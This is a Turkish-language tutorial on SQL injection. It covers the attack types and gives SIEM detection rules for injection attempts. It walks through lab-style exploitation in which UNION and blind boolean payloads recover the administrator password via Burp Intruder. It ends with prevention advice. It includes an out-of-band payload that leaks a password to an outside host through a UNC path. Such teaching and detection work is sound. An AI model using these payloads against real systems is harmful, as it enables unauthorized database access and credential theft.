SQL Injection Nedir?
SQL veritabanlarından veri almak veya değiştirmek için kullanılan bir kod
enjeksiyon tekniğidir. Bir giriş alanına özel SQL ifadeleri ekleyerek, bir
saldırgan veritabanından veri almaya, hassas verileri yok etmeye veya diğer
manipülatif davranışlara olanak tanıyan komutları yürütebilir.
Yetkisiz kullanıcı, doğru SQL komutu yürütmesiyle daha ayrıcalıklı bir
kullanıcının kimliğini taklit edebilir, kendisini veya başkalarını veritabanı
yöneticisi yapabilir, mevcut verileri bozabilir, işlemleri ve bakiyeleri
değiştirebilir ve tüm sunucu verilerini alabilir ve/veya yok edebilir.
SQL Injection Yöntemleri Nelerdir?
1. Klasik SQL Injection (Error-Based SQLi)
Bu yöntemde, saldırgan veritabanının hata mesajlarından yararlanır.
Hata mesajları, veritabanının yapısı ve sorgu hataları hakkında ipuçları
verebilir. Saldırgan, bu hataları tetikleyecek özel girdiler kullanarak
veritabanı hakkında bilgi toplamaya çalışır.
2. Blind SQL Injection
Bu yöntem, uygulamanın hata mesajı dönmediği durumlarda kullanılır.
Saldırgan, sorgunun doğru veya yanlış çalışmasına göre sayfa içeriğinde
veya davranışında meydana gelen değişiklikleri gözlemleyerek veritabanı
hakkında bilgi edinmeye çalışır. Boolen-Based ve Time-Based SQLi örnek
olarak verilebilir.
3. UNION-Based SQL Injection
Bu yöntemde, saldırgan UNION operatörünü kullanarak orijinal sorguya
kendi sorgusunu ekler ve iki sorgunun sonuçlarını birleştirir. Bu sayede,
normalde erişemeyeceği verileri (örneğin kullanıcı adları ve şifreler)
çekebilir.
[Link]-of-Band (Bant Dışı) SQL Injection
Out-of-Band (OOB) SQL Injection, saldırganın veriyi doğrudan HTTP
yanıtında göremediği, sunucunun saldırgana ait başka bir sistemle (DNS,
HTTP vb.) iletişim kurarak veriyi sızdırdığı SQL enjeksiyon türüdür.
Örnek Sorgu : ' AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT
password FROM users WHERE id=1), '.[Link]\\foo')))--
Hangi SIEM Kurallları ile Tespit Edilir?
Senaryo: Web uygulamasına gelen HTTP isteklerinde parametre
değerleri içinde SQL komutlarına ait şüpheli ifadeler (UNION
SELECT, OR 1=1, --, vb.) tespit ediliyor. Bu durum, SQL injection
saldırısının habercisi olabilir.
Rule Name: SQL Injection Attempt Detection
WHEN
HTTP request parameters contain SQL keywords or patterns (e.g., UNION
SELECT, OR 1=1, '--, DROP TABLE)
AND
request matches web application endpoint patterns (e.g., /login, /search,
/product?id=)
AND
event source is from external/untrusted network zone
THEN
generate offense tagged "Possible SQL Injection Attempt"
Senaryo: Web sunucusu loglarında beklenmeyen hata kodları (ör.
500 Internal Server Error, ODBC SQL Server Driver hata mesajları)
tespit ediliyor. Bu durum, SQL sorgusunun başarısız olduğu ve potansiyel
injection girişiminin olduğu anlamına gelebilir.
Rule Name: SQL Error Message Detection
WHEN
Web server logs contain SQL-related error messages (e.g., ODBC SQL Server
Driver, MySQL Syntax Error, Unclosed quotation mark, ORA-00933)
AND
source IP is not in internal trusted list
THEN
generate offense tagged "SQL Error Pattern Detected - Possible Injection "
Union-Based SQL Injection
Union tabanlı SQLi, aynı HTTP yanıtı içerisinde birden fazla SELECT
sorgusunun sonuçlarını birleştirmek için UNION SQL operatörünü
kullanan bir in-band (aynı kanal üzerinden) SQL enjeksiyon tekniğidir.
URL’deki “gift” parametresine tek tırnak (') karakteri eklendiğinde
sunucudan “Internal Server Error” yanıtı alınmıştır. Bu durum, girilen
karakterin backend tarafından işlendiğini ve olası bir SQL enjeksiyonu
(SQLi) zafiyetinin mevcut olabileceğini göstermektedir.
Union-Based SQL Injection
SQL enjeksiyonunun
doğrulanması için UNION
SELECT sorgusu ile veri
tabanındaki kolon sayısı
test edilmiştir. Tek değer
('koc') girildiğinde hata
alınmış, iki değer
girildiğinde HTTP 200 yanıtı
alınmıştır; bu, veri
tabanında en az iki kolon
olduğunu ve sorguların
backend tarafında
işlendiğini göstermektedir.
Union-Based SQL Injection
Uygulamanın iki kolondan oluştuğu belirlendikten sonra,resimdeki şekilde
UNION SELECT sorgusu kullanılarak veri tabanındaki "users" tablosuna
erişim sağlanmıştır. Bu sorgular aracılığıyla "username" ve "password"
kolonlarındaki kullanıcı bilgileri elde edilmiştir.
Blind SQL Injection
Blind SQL enjeksiyonu, normal SQL enjeksiyona neredeyse aynıdır; tek
fark, veritabanından verilerin alınma şeklidir. Eğer veritabanı çıktıyı
doğrudan web sayfasına göndermiyorsa, saldırgan verileri çalmak için
veritabanına bir dizi doğru/yanlış sorusu sormak zorundadır. Bu
durum SQL enjeksiyonu açığını istismar etmeyi daha zor hale getirir,
ancak imkânsız değildir.
Yukarıdaki resimde TrackingID değeri her doğru döndüğünde
uygulamamıza “welcome back” mesajı gelmektedir. TrackingID kısmına
her sorgu gönderildiğinde, uygulamanın "Welcome back!" mesajını
gösterip göstermediği kontrol edilir. Eğer mesaj görünüyorsa, enjekte
edilen SQL koşulunun doğru olduğu varsayılır; aksi takdirde yanlış olduğu
anlaşılır.
Blind SQL Injection
TrackingID parametresi üzerinde yapılan testlerde, önce ' and
1=1-- ifadesi eklenmiş ve sistem "Welcome Back" mesajı
vermiştir; ardından ' and 1=0-- ifadesi kullanılmış ve mesaj
alınmamıştır. Bu sonuçlar, parametrenin SQL sorgularında
işlendiğini ve SQL Injection açığına sahip olduğunu
doğrulamaktadır. Açık, yetkisiz kullanıcıların veri tabanı
üzerinde işlem yapabilmesine imkân tanıyabilir.
Blind SQL Injection
SQL enjeksiyonu doğrulandıktan sonra, TrackingID parametresi
kullanılarak veri tabanına erişim test edilmiştir. Önce (select 'x' from
users LIMIT 1)='x'-- ifadesi eklenmiş ve sistem "Welcome Back" mesajı
vermiştir; bu, veri tabanı içeriklerine erişimin mümkün olduğunu
göstermektedir. Ardından (select username from users where
username='administrator')='administrator'-- ifadesi kullanılmış ve
beklenen mesaj alınmıştır; böylece sistemde administrator adlı bir
kullanıcının varlığı doğrulanmıştır.
Blind SQL Injection
Administrator şifresinin uzunluğu, LENGTH(password) > 1 ifadesi ve Burp
Suite Intruder ile brute-force yöntemi kullanılarak sistematik şekilde test
edilmiş ve hızlıca belirlenmiştir.
Şifre uzunluğu testinde LENGTH(password) > 1
ifadesi üzerinde brute-force uygulanmış, Burp Suite
Intruder’da Sniper saldırı tipi ve "Numbers" payload
ile 1–50 arası değerler tek tek denenmiştir; böylece
şifre uzunluğu tespit edilmeye çalışılmıştır.
Blind SQL Injection
Brute-force sırasında LENGTH(password) yanıtları analiz edilmiş, 1–50 arası
değerler denendiğinde 20’den itibaren farklı bir yanıt (11458) alınmıştır. Bu,
admin şifresinin 20 karakter uzunluğunda olduğunu göstermektedir.
Şifre uzunluğu belirlendikten sonra, substring(password,1,1) gibi
ifadelerle karakter karakter çözülmüştür. Burp Suite Intruder’ın Cluster
Bomb saldırı tipi kullanılarak, birinci payload ile pozisyonlar (1–20), ikinci
payload ile karakterler (harf ve rakamlar) belirlenmiş ve brute-force
yöntemiyle şifre adım adım ortaya çıkarılmıştır.
Blind SQL Injection
Sürecin son aşamasında, brute-force saldırısı sonucunda elde edilen
veriler analiz edilmiştir. Her karakter için "Welcome Back" mesajı
döndüren yanıtlar bir araya getirilerek, administrator kullanıcısına ait
şifrenin tüm karakterleri sırasıyla tespit edilmiştir. Böylece parola
eksiksiz şekilde elde edilmiş ve bu bilgilerle admin yetkileriyle sisteme
giriş yapılabilmiştir.
SQL Injection Nasıl Önlenir?
Parametreli Sorgular Kullanmak
SQL sorgularında kullanıcı girdilerini doğrudan eklemek yerine
parametreli sorgular kullanılmalıdır. Bu yöntemde, sorgular direkt olarak
çalışıtırılmaz, sadece veri olarak kullanılır. Örneğin Python’da sqlite3,
Java’da PreparedStatement gibi yapılar güvenli sorgular oluşturmak için
idealdir.
Girdi Doğrulama ve Temizleme
Kullanıcıdan alınan tüm veriler, sorguya eklenmeden önce doğrulanmalı
ve temizlenmelidir. Ayrıca zararlı karakterler (', ", ;, -- vb.) filtrelenerek
kötü niyetli girişler engellenir.
En Az Yetki İlkesini Uygulamak
Veritabanı bağlantılarında kullanılan kullanıcı hesabına yalnızca gerekli
izinler verilmelidir. Uygulamanın yalnızca SELECT yetkisine ihtiyacı varsa
INSERT, UPDATE veya DELETE yetkileri verilmemelidir.
Hata Mesajlarını Sınırlamak
Uygulama, veritabanı hatalarını kullanıcıya doğrudan göstermemelidir.
Bunun yerine kullanıcıya genel bir hata mesajı gösterilmelidir.